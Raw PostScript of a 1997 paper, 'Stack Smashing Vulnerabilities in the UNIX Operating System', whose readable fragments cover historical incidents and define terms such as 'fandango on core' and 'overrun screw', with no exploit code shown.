dup/WaitTimeout 4 -1 roll put setuserparams}{statusdict/waittimeout 3 -1 roll put}ifelse } stopped cleartomark [{1 /languagelevel where{pop languagelevel}{1}ifelse 2 ge{1 dict dup/NumCopies 4 -1 roll put setpagedevice}{userdict/#copies 3 -1 roll put}ifelse } stopped cleartomark [{ 1 dict dup /ManualFeed false put setpagedevice } stopped cleartomark [{ %%BeginFeature: *InputSlot AutoSelect Tray %%EndFeature } stopped cleartomark [{ %%BeginFeature: *PageSize Letter 2 dict dup /Policies 1 dict dup /PageSize 1 put put dup /DeferredMediaSelection true put setpagedevice 2 dict dup /PageSize [612 792] put dup /ImagingBBox null put setpagedevice %%EndFeature } stopped cleartomark 1 setlinecap 1 setlinejoin /mysetup [ 0.120 0 0 -0.120 13.000 780.000 ] | %%EndSetup %%Page: 1 1 %%BeginPageSetup [{ %%BeginFeature: *Duplex %%EndFeature } stopped cleartomark userdict begin /pagesave save def end mysetup concat colspRefresh : 1.000 1.000 1.000 sco 0 0 5100 6600 rf ; userdict begin /savelevel1 save def end %%EndPageSetup 612 5633 N M 900 0 - 8 Lw 1 Lc 1 Lj solid 0 0 0 sco K : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Bold (F0) cvn 0.917 (Times-Bold) cvn /Type1 T (Times-Bold) cvn mF (F0_133) cvn F0 133 xF F0_133 Ji 1612 1722 M -0.033 0 (Stack Smashing Vulnerabilities)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_133 Ji 2446 1879 M 0.039 0 (in)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_133 Ji 1700 2036 M -0.116 0 (the UNIX Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Italic (F2) cvn 0.900 (Times-Italic) cvn /Type1 T (Times-Italic) cvn mF (F2_100) cvn F2 100 xF F2_100 Ji 2172 2505 M 0.040 0 (Nathan P. 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: 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1625 M 0.300 0 (R)A (ob)S -0.400 0 (e)A -0.300 0 (r)A 36.800 0 32 0.200 0 (t )D -0.100 0 (T)A -0.400 0 (a)A (pp)S -0.400 0 (a)A 37.000 0 32 (n )W 0.100 0 (M)A (o)S -0.300 0 (rr)A 0.200 0 (i)A 36.900 0 32 0.100 0 (s )D ; : 0 0 4883 6391 rc 0 0 0 sco F6_100 Ji 1641 1625 M -0.300 0 (I)A (n)S 0.200 0 (t)A -0.400 0 (e)A 0.100 0 (r)A (n)S -0.400 0 (e)A 36.800 0 32 0.200 0 (t )D -2.300 0 (W)A (o)S 0.100 0 (r)A -0.200 0 (m)A ; : 2188 1609 2695 76 rc 0 0 0 sco (F2_67) cvn F2 67 xF F2_67 Ji 2261 1609 M 0.500 0 (1)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 2295 1625 M 37.000 0 32 ( )W 0.200 0 (i)A 37.000 0 32 (n 1987, )W -0.400 0 (a)A 37.000 0 32 (nd )W 0.200 0 (t)A (h)S 37.400 0 32 -0.400 0 (e )D -0.200 0 (K)A -0.400 0 (e)A (v)S 0.200 0 (i)A 37.000 0 32 (n )W 0.100 0 (M)A 0.200 0 (it)A (n)S 0.200 0 (i)A -0.400 0 (c)A 37.000 0 32 (k v)W 0.100 0 (s)A 38.000 0 32 (. )W -0.100 0 (T)A 0.100 0 (s)A (u)S 0.200 0 (t)A (o)S 0.200 0 (m)A (u)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1802 M 0.400 0 (S)A (h)S 0.200 0 (im)A (o)S 0.200 0 (m)A (u)S -0.300 0 (r)A 12.400 0 32 -0.400 0 (a )D 0.200 0 (i)A (n)S -0.400 0 (c)A 0.200 0 (i)A (d)S -0.400 0 (e)A (n)S 11.800 0 32 0.200 0 (t i)D 12.000 0 32 (n 1995)W ; : 1717 1786 3166 76 rc 0 0 0 sco F2_67 Ji 1790 1786 M 0.500 0 (2)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 1824 1802 M 12.000 0 32 (. )W -2.300 0 (I)A 12.000 0 32 (n o)W -0.300 0 (r)A (d)S -0.400 0 (e)A 12.300 0 32 -0.300 0 (r )D 0.200 0 (t)A 12.000 0 32 (o )W 0.100 0 (s)A -0.400 0 (ec)A (u)S -0.300 0 (r)A 12.400 0 32 -0.400 0 (e )D 0.200 0 (m)A (od)S -0.400 0 (e)A -0.300 0 (r)A 12.000 0 32 (n )W -0.200 0 (UN)A -2.300 0 (I)A 12.200 0 32 -0.200 0 (X )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 0.200 0 (m)A 0.100 0 (s)A 12.000 0 32 (, )W 11.800 0 32 0.200 0 (it i)D 11.900 0 32 0.100 0 (s )D (n)S -0.400 0 (ece)A 0.100 0 (ss)A -0.400 0 (a)A -0.300 0 (r)A 15.000 0 32 -3.000 0 (y )D 0.200 0 (t)A (o)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1979 M -0.121 0 (understand why stack smashing occurs and what one can do to prevent it.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_133 Ji 612 2335 M -0.341 0 (2. Terms)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2569 M ( )S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 2569 M 0.100 0 (M)A -0.400 0 (a)A (n)S 9.000 0 32 -3.000 0 (y )D 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (m)A 5.900 0 32 0.100 0 (s )D -0.400 0 (e)A 1.000 0 (x)A 0.200 0 (i)A 0.100 0 (s)A 5.800 0 32 0.200 0 (t t)D (h)S -0.400 0 (a)A 5.800 0 32 0.200 0 (t )D -0.400 0 (a)A (pp)S 0.200 0 (l)A 9.000 0 32 -3.000 0 (y )D 0.200 0 (t)A 6.000 0 32 (o )W 0.200 0 (t)A (h)S 0.200 0 (i)A 5.900 0 32 0.100 0 (s )D (p)S -0.300 0 (r)A (ob)S 0.200 0 (l)A -0.400 0 (e)A 0.200 0 (m)A 6.000 0 32 (. )W ; : 0 0 4883 6391 rc 0 0 0 sco F6_100 Ji 2783 2569 M (S)S -0.200 0 (m)A (a)S 0.100 0 (s)A (h)S 0.200 0 (i)A 6.000 0 32 (ng )W 0.200 0 (t)A (h)S 6.400 0 32 -0.400 0 (e )D (S)S 0.200 0 (t)A (a)S -0.400 0 (ck)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 3572 2569 M 7.000 0 32 (, )W 7.400 0 32 -0.400 0 (a )D 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A 6.800 0 32 0.200 0 (m )D (popu)S 0.200 0 (l)A -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A 0.600 0 (z)A -0.400 0 (e)A (d)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2746 M -0.300 0 (r)A -0.400 0 (ece)A (n)S 0.200 0 (tl)A 5.000 0 32 -3.000 0 (y )D (b)S 5.000 0 32 -3.000 0 (y )D -0.200 0 (A)A 0.200 0 (l)A -0.400 0 (e)A 2.000 0 32 (ph )W -0.200 0 (O)A (n)S 2.400 0 32 -0.400 0 (e a)D 2.000 0 32 (nd o)W 0.200 0 (t)A (h)S -0.400 0 (e)A -0.300 0 (r)A 2.900 0 32 0.100 0 (s )D 0.200 0 (i)A 3.000 0 32 (n )W 0.200 0 (t)A (h)S 3.400 0 32 -0.400 0 (e )D -2.300 0 (I)A (n)S 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A (n)S -0.400 0 (e)A 2.800 0 32 0.200 0 (t )D 0.100 0 (s)A -0.400 0 (ec)A (u)S -0.300 0 (r)A 0.200 0 (it)A 6.000 0 32 -3.000 0 (y )D -0.400 0 (c)A (o)S 0.200 0 (mm)A (un)S 0.200 0 (it)A -3.000 0 (y)A 3.000 0 32 (, )W 0.200 0 (i)A 2.900 0 32 0.100 0 (s )D (no)S 2.800 0 32 0.200 0 (t t)D (h)S 3.400 0 32 -0.400 0 (e )D (on)S 0.200 0 (l)A 6.000 0 32 -3.000 0 (y )D 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A 2.800 0 32 0.200 0 (m t)D (h)S -0.400 0 (a)A 0.200 0 (t)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2923 M (h)S -0.400 0 (a)A 9.900 0 32 0.100 0 (s )D (b)S -0.400 0 (ee)A 10.000 0 32 (n u)W 0.100 0 (s)A -0.400 0 (e)A 10.000 0 32 (d )W 0.200 0 (t)A 10.000 0 32 (o d)W -0.400 0 (e)A 0.100 0 (s)A -0.400 0 (c)A -0.300 0 (r)A 0.200 0 (i)A (b)S 10.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (h)S 0.200 0 (i)A 10.900 0 32 0.100 0 (s )D 0.200 0 (i)A 0.100 0 (ss)A (u)S -0.400 0 (e)A 11.000 0 32 (. )W -0.100 0 (T)A (h)S 11.400 0 32 -0.400 0 (e )D ; : 0 0 4883 6391 rc 0 0 0 sco F6_100 Ji 2334 2923 M 0.200 0 (f)A 11.000 0 32 (andango on )W -0.400 0 (c)A (o)S 0.100 0 (r)A -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 3061 2923 M (,)S ; : 0 0 4883 6391 rc 0 0 0 sco F6_100 Ji 3086 2923 M 11.000 0 32 ( o)W -0.400 0 (ve)A 0.100 0 (rr)A 11.000 0 32 (un )W 0.100 0 (s)A -0.400 0 (c)A 0.100 0 (r)A -0.400 0 (e)A 0.300 0 (w)A 11.000 0 32 (, )W 0.100 0 (s)A 0.200 0 (t)A (a)S 11.400 0 32 -0.400 0 (ck )D 0.100 0 (s)A -0.400 0 (c)A 0.100 0 (r)A 0.200 0 (i)A (bb)S 0.200 0 (l)A -0.400 0 (e)A (,)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3100 M -0.133 0 (and)A ; : 0 0 4883 6391 rc 0 0 0 sco F6_100 Ji 756 3100 M 0.014 0 ( stale pointer)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 1284 3100 M 0.467 0 ([1])A ; : 0 0 4883 6391 rc 0 0 0 sco F6_100 Ji 1402 3100 M ( )S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 1427 3100 M -0.076 0 (all relate to stack smashing.)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_117) cvn F2 117 xF F2_117 Ji 612 3278 M 0.205 0 (2.1 Fandango on Core)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 3483 M -2.300 0 (I)A 11.000 0 32 (n )W 10.700 0 32 0.300 0 (C )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (mmi)A (n)S 12.000 0 32 -1.000 0 (g )D 11.000 0 32 (on )W -0.200 0 (UN)A -2.300 0 (I)A 11.200 0 32 -0.200 0 (X )D 0.200 0 (m)A -0.400 0 (ac)A (h)S 0.200 0 (i)A (n)S -0.400 0 (e)A 0.100 0 (s)A 11.000 0 32 (, )W 11.400 0 32 -0.400 0 (a )D ; : 0 0 4883 6391 rc 0 0 0 sco F6_100 Ji 2647 3483 M 0.200 0 (f)A 11.000 0 32 (andango on )W -0.400 0 (c)A (o)S 0.100 0 (r)A -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 3374 3483 M 11.000 0 32 ( )W 0.200 0 (i)A 10.900 0 32 0.100 0 (s )D 11.400 0 32 -0.400 0 (a )D -1.000 0 (g)A -0.400 0 (e)A (n)S -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (i)A 11.400 0 32 -0.400 0 (c )D 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A 10.800 0 32 0.200 0 (m )D -0.300 0 (f)A (o)S 11.300 0 32 -0.300 0 (r )D -0.400 0 (a)A 0.200 0 (ll)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3660 M (bu)S -1.000 0 (g)A 1.900 0 32 0.100 0 (s )D 0.200 0 (i)A (nvo)S 0.200 0 (l)A (v)S 0.200 0 (i)A (n)S 3.000 0 32 -1.000 0 (g )D 2.400 0 32 -0.400 0 (a )D -0.200 0 (w)A 0.200 0 (il)A 2.000 0 32 (d po)W 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (e)A 2.300 0 32 -0.300 0 (r )D 0.200 0 (t)A (h)S -0.400 0 (a)A 1.800 0 32 0.200 0 (t )D (h)S -0.400 0 (a)A 1.900 0 32 0.100 0 (s )D -0.300 0 (r)A 2.000 0 32 (un ou)W 1.800 0 32 0.200 0 (t )D (o)S 3.300 0 32 -0.300 0 (f )D (bound)S 0.100 0 (s)A 3.000 0 32 (, )W -0.400 0 (ca)A (u)S 0.100 0 (s)A 0.200 0 (i)A (n)S 4.000 0 32 -1.000 0 (g )D -0.400 0 (c)A (o)S -0.300 0 (r)A 3.400 0 32 -0.400 0 (e )D (du)S 0.200 0 (m)A (p)S 2.900 0 32 0.100 0 (s )D (o)S 3.300 0 32 -0.300 0 (r )D -0.400 0 (c)A (o)S -0.300 0 (rr)A (up)S 0.200 0 (ti)A 3.000 0 32 (on o)W -0.300 0 (f)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3837 M (d)S -3.000 0 (y)A (n)S -0.400 0 (a)A 0.200 0 (mi)A 13.400 0 32 -0.400 0 (c )D 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (m)A (o)S -0.300 0 (r)A 16.000 0 32 -3.000 0 (y )D -0.400 0 (a)A 0.200 0 (ll)A (o)S -0.400 0 (ca)A 0.200 0 (ti)A 13.000 0 32 (on )W 0.100 0 (s)A (p)S -0.400 0 (ace)A 13.000 0 32 (. )W -0.100 0 (T)A (h)S 0.200 0 (i)A 12.900 0 32 0.100 0 (s )D 0.200 0 (t)A -3.000 0 (y)A (p)S 13.400 0 32 -0.400 0 (e )D (o)S 13.300 0 32 -0.300 0 (f )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 12.800 0 32 0.200 0 (m )D -0.400 0 (ac)A 0.200 0 (ti)A (v)S 0.200 0 (it)A 16.000 0 32 -3.000 0 (y )D 0.200 0 (i)A 12.900 0 32 0.100 0 (s )D -0.400 0 (c)A -0.300 0 (r)A (u)S -0.400 0 (c)A 0.200 0 (i)A -0.400 0 (a)A 13.800 0 32 0.200 0 (l i)D 14.000 0 32 (n )W -0.400 0 (c)A (on)S 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A (u)S -0.400 0 (c)A 0.200 0 (ti)A (n)S -1.000 0 (g)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4014 M 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 12.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S 14.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -0.400 0 (ec)A (u)S -0.300 0 (r)A 0.200 0 (it)A 16.000 0 32 -3.000 0 (y )D (vu)S 0.200 0 (l)A (n)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A (b)S 0.200 0 (iliti)A -0.400 0 (e)A 0.100 0 (s)A 13.000 0 32 (. )W -0.200 0 (A)A (n)S 16.000 0 32 -3.000 0 (y )D (nu)S 0.200 0 (m)A (b)S -0.400 0 (e)A 13.300 0 32 -0.300 0 (r )D (o)S 13.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 13.400 0 32 -0.400 0 (e )D 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (m)A 12.900 0 32 0.100 0 (s )D 0.200 0 (m)A -0.400 0 (a)A 16.000 0 32 -3.000 0 (y )D (b)S 13.400 0 32 -0.400 0 (e )D (u)S 0.100 0 (s)A -0.400 0 (e)A 13.000 0 32 (d )W 0.200 0 (t)A 13.000 0 32 (o d)W -0.400 0 (e)A 0.100 0 (s)A -0.400 0 (c)A -0.300 0 (r)A 0.200 0 (i)A (b)S -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4191 M -0.400 0 (c)A (ond)S 0.200 0 (iti)A (on)S 30.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S -0.400 0 (a)A 30.800 0 32 0.200 0 (t l)D -0.400 0 (ea)A 31.000 0 32 (d )W 0.200 0 (t)A 31.000 0 32 (o )W 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 31.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S 32.000 0 32 -1.000 0 (g )D (vu)S 0.200 0 (l)A (n)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A (b)S 0.200 0 (iliti)A -0.400 0 (e)A 0.100 0 (s)A 31.000 0 32 (, )W -0.400 0 (a)A 31.000 0 32 (nd, )W 0.200 0 (i)A 31.000 0 32 (n )W -1.000 0 (g)A -0.400 0 (e)A (n)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (l)A 32.000 0 32 (, )W -0.300 0 (r)A -0.400 0 (e)A -0.300 0 (f)A -0.400 0 (e)A 32.300 0 32 -0.300 0 (r )D 0.200 0 (t)A 32.000 0 32 (o u)W 0.100 0 (s)A (u)S -0.400 0 (a)A 0.200 0 (ll)A -3.000 0 (y)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4368 M -0.224 0 (undesirable operations on dynamically allocated memory.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 612 4546 M 0.060 0 (2.2 Overrun Screw)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 4751 M 2.200 0 32 -0.200 0 (A )D (v)S -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (e)A 0.200 0 (t)A 5.000 0 32 -3.000 0 (y )D (o)S 2.300 0 32 -0.300 0 (f )D ; : 0 0 4883 6391 rc 0 0 0 sco F6_100 Ji 1422 4751 M 0.200 0 (f)A 2.000 0 32 (andango on )W -0.400 0 (c)A (o)S 0.100 0 (r)A -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 2131 4751 M 1.800 0 32 0.200 0 (; )D -0.400 0 (a)A 3.000 0 32 (n )W ; : 0 0 4883 6391 rc 0 0 0 sco F6_100 Ji 2308 4751 M (o)S -0.400 0 (ve)A 0.100 0 (rr)A 3.000 0 32 (un )W 0.100 0 (s)A -0.400 0 (c)A 0.100 0 (r)A -0.400 0 (e)A 2.700 0 32 0.300 0 (w )D ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 2913 4751 M 0.200 0 (i)A 2.900 0 32 0.100 0 (s )D 3.400 0 32 -0.400 0 (a )D -1.000 0 (g)A -0.400 0 (e)A (n)S -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (i)A 3.400 0 32 -0.400 0 (c )D 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A 2.800 0 32 0.200 0 (m )D -0.300 0 (f)A (o)S 3.300 0 32 -0.300 0 (r )D 2.700 0 32 0.300 0 (C )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (mmi)A (n)S -1.000 0 (g)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4928 M (bu)S -1.000 0 (g)A 11.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S -0.400 0 (a)A 11.800 0 32 0.200 0 (t )D 0.100 0 (s)A -0.400 0 (c)A -0.300 0 (r)A 0.200 0 (i)A (bb)S 0.200 0 (l)A 12.400 0 32 -0.400 0 (e )D (p)S -0.400 0 (a)A 0.100 0 (s)A 11.800 0 32 0.200 0 (t t)D (h)S 12.400 0 32 -0.400 0 (e e)D 12.000 0 32 (nd o)W 12.300 0 32 -0.300 0 (f )D -0.400 0 (a)A 12.000 0 32 (n )W -0.400 0 (a)A -0.300 0 (rr)A -0.400 0 (a)A -3.000 0 (y)A 12.000 0 32 (. )W 12.200 0 32 -0.200 0 (A )D 0.200 0 (l)A -0.400 0 (ac)A 12.000 0 32 (k o)W 12.300 0 32 -0.300 0 (f )D (bound)S 11.900 0 32 0.100 0 (s )D -0.400 0 (c)A (h)S -0.400 0 (ec)A (k)S 0.200 0 (i)A (n)S 14.000 0 32 -1.000 0 (g )D 0.200 0 (m)A -0.400 0 (a)A (k)S -0.400 0 (e)A 12.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S 0.200 0 (i)A 12.900 0 32 0.100 0 (s )D 13.400 0 32 -0.400 0 (a )D -0.300 0 (f)A -0.400 0 (a)A 0.200 0 (i)A -0.300 0 (r)A 0.200 0 (l)A -3.000 0 (y)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5105 M -0.400 0 (c)A (o)S 0.200 0 (mm)A 33.000 0 32 (on o)W -0.400 0 (cc)A (u)S -0.300 0 (rr)A -0.400 0 (e)A (n)S 33.400 0 32 -0.400 0 (ce )D 0.200 0 (i)A 33.000 0 32 (n )W 0.200 0 (t)A (h)S 33.400 0 32 -0.400 0 (e )D 32.700 0 32 0.300 0 (C )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (mmi)A (n)S 34.000 0 32 -1.000 0 (g )D 0.200 0 (l)A -0.400 0 (a)A (n)S -1.000 0 (g)A (u)S -0.400 0 (a)A -1.000 0 (g)A -0.400 0 (e)A 33.000 0 32 (. )W ; : 0 0 4883 6391 rc 0 0 0 sco F6_100 Ji 3054 5105 M -0.200 0 (O)A -0.400 0 (ve)A 0.100 0 (rr)A 33.000 0 32 (un )W 0.100 0 (s)A -0.400 0 (c)A 0.100 0 (r)A -0.400 0 (e)A 0.300 0 (w)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 3683 5105 M 33.000 0 32 ( )W 0.200 0 (i)A 32.900 0 32 0.100 0 (s )D 33.400 0 32 -0.400 0 (a )D 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A 32.800 0 32 0.200 0 (m )D (u)S 0.100 0 (s)A -0.400 0 (e)A (d)S ; : 522 5518 2880 94 rc 0 0 0 sco F2_83 Ji 612 5518 M 0.250 0 ( )A ; : 1152 5518 2700 94 rc 0 0 0 sco F2_83 Ji 1242 5518 M 0.250 0 ( )A ; 612 5571 N M 1200 4 rr : 0 0 0 sco O ; : 0 0 4883 6391 rc 0 0 0 sco (F2_33) cvn F2 33 xF F2_33 Ji 612 5618 M 0.500 0 (1)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_67 Ji 629 5621 M 0.233 0 ( See RFC 1135 for more information; http://www.pmg.lcs.mit.edu/cgi-bin/rfc/view?1135)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_33 Ji 612 5702 M 0.500 0 (2)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_67 Ji 629 5705 M 0.202 0 ( for more information see http://www.takedown.com)A ; LH savelevel1 restore pagesave restore (%%[ Page: 3 ]%%) = %%PageTrailer %%Page: 4 4 %%BeginPageSetup [{ %%BeginFeature: *Duplex %%EndFeature } stopped cleartomark userdict begin /pagesave save def end mysetup concat colspRefresh : 1.000 1.000 1.000 sco 0 0 5100 6600 rf ; userdict begin /savelevel1 save def end %%EndPageSetup : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Bold (F0) cvn 0.904 (Times-Bold) cvn /Type1 T (Times-Bold) cvn mF (F0_83) cvn F0 83 xF F0_83 Ji 612 54 M 0.000 0 (Stack Smashing Vulnerabilities in the UNIX Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 3977 54 M 0.337 0 (Page )A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 4170 54 M 0.500 0 (4)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Roman (F2) cvn 0.892 (Times-Roman) cvn /Type1 T (Times-Roman) cvn mF (F2_83) cvn F2 83 xF F2_83 Ji 2290 6256 M 0.192 0 (May 7, 1997)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_100) cvn F2 100 xF F2_100 Ji 612 504 M 0.100 0 (s)A (p)S -0.400 0 (ec)A 0.200 0 (i)A -0.300 0 (f)A 0.200 0 (i)A -0.400 0 (ca)A 0.200 0 (ll)A 16.000 0 32 -3.000 0 (y )D -0.200 0 (w)A (h)S -0.400 0 (e)A 13.000 0 32 (n )W 13.400 0 32 -0.400 0 (a )D 0.100 0 (s)A -0.400 0 (c)A -0.300 0 (r)A 0.200 0 (i)A (bb)S 0.200 0 (l)A 14.400 0 32 -0.400 0 (e )D (p)S -0.400 0 (a)A 0.100 0 (s)A 13.800 0 32 0.200 0 (t )D 14.400 0 32 -0.400 0 (a )D (d)S -3.000 0 (y)A (n)S -0.400 0 (a)A 0.200 0 (mi)A -0.400 0 (ca)A 0.200 0 (ll)A 17.000 0 32 -3.000 0 (y )D -0.400 0 (a)A 0.200 0 (ll)A (o)S -0.400 0 (ca)A 0.200 0 (t)A -0.400 0 (e)A 14.000 0 32 (d )W -0.400 0 (a)A -0.300 0 (rr)A -0.400 0 (a)A 17.000 0 32 -3.000 0 (y )D (o)S -0.400 0 (cc)A (u)S -0.300 0 (r)A 0.100 0 (s)A 14.000 0 32 (. )W -0.200 0 (A)A -1.000 0 (g)A -0.400 0 (a)A 0.200 0 (i)A 14.000 0 32 (n, )W 0.200 0 (t)A (h)S 0.200 0 (i)A 13.900 0 32 0.100 0 (s )D 0.200 0 (t)A -3.000 0 (y)A (p)S 14.400 0 32 -0.400 0 (e )D (o)S -0.300 0 (f)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 681 M -0.194 0 (program behavior is necessary in constructing a stack smashing security vulnerability.)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_117) cvn F2 117 xF F2_117 Ji 612 859 M 0.164 0 (2.3 Smashing, Trashing or Scribbling the Stack)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 1064 M 4.200 0 32 -0.200 0 (A )D (v)S -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (e)A 0.200 0 (t)A 7.000 0 32 -3.000 0 (y )D (o)S 4.300 0 32 -0.300 0 (f )D ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Italic (F6) cvn 0.900 (Times-Italic) cvn /Type1 T (Times-Italic) cvn mF (F6_100) cvn F6 100 xF F6_100 Ji 1428 1064 M (o)S -0.400 0 (ve)A 0.100 0 (rr)A 4.000 0 32 (un )W 0.100 0 (s)A -0.400 0 (c)A 0.100 0 (r)A -0.400 0 (e)A 0.300 0 (w)A 4.300 0 32 -0.300 0 (; )D ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 2068 1064 M -0.100 0 (T)A (h)S 0.200 0 (i)A 3.900 0 32 0.100 0 (s )D 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A 3.800 0 32 0.200 0 (m i)D 3.900 0 32 0.100 0 (s )D -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (s)A -0.400 0 (e)A -0.300 0 (r)A (v)S -0.400 0 (e)A 5.000 0 32 (d )W -0.300 0 (f)A (o)S 5.300 0 32 -0.300 0 (r )D 5.400 0 32 -0.400 0 (a )D 4.700 0 32 0.300 0 (C )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (mmi)A (n)S 6.000 0 32 -1.000 0 (g )D -0.400 0 (ca)A 0.100 0 (s)A 5.400 0 32 -0.400 0 (e )D 0.200 0 (i)A 5.000 0 32 (n )W -0.200 0 (w)A (h)S 0.200 0 (i)A -0.400 0 (c)A (h)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1241 M 0.200 0 (t)A (h)S 13.400 0 32 -0.400 0 (e e)D 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (ti)A 13.000 0 32 (on )W 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 13.000 0 32 (k )W 0.200 0 (i)A 12.900 0 32 0.100 0 (s )D -0.400 0 (c)A (o)S -0.300 0 (rr)A (up)S 0.200 0 (t)A -0.400 0 (e)A 13.000 0 32 (d b)W 16.000 0 32 -3.000 0 (y )D -0.200 0 (w)A -0.300 0 (r)A 0.200 0 (iti)A (n)S 15.000 0 32 -1.000 0 (g )D (p)S -0.400 0 (a)A 0.100 0 (s)A 13.800 0 32 0.200 0 (t t)D (h)S 14.400 0 32 -0.400 0 (e e)D 14.000 0 32 (nd o)W 14.300 0 32 -0.300 0 (f )D 14.400 0 32 -0.400 0 (a )D (d)S -0.400 0 (a)A 0.200 0 (t)A 14.400 0 32 -0.400 0 (a )D 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A (u)S -0.400 0 (c)A 0.200 0 (t)A (u)S -0.300 0 (r)A 14.400 0 32 -0.400 0 (e )D 0.100 0 (s)A (u)S -0.400 0 (c)A 14.000 0 32 (h )W -0.400 0 (a)A 13.900 0 32 0.100 0 (s )D 14.400 0 32 -0.400 0 (a )D 0.200 0 (l)A (o)S -0.400 0 (ca)A 0.200 0 (l)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1418 M -0.400 0 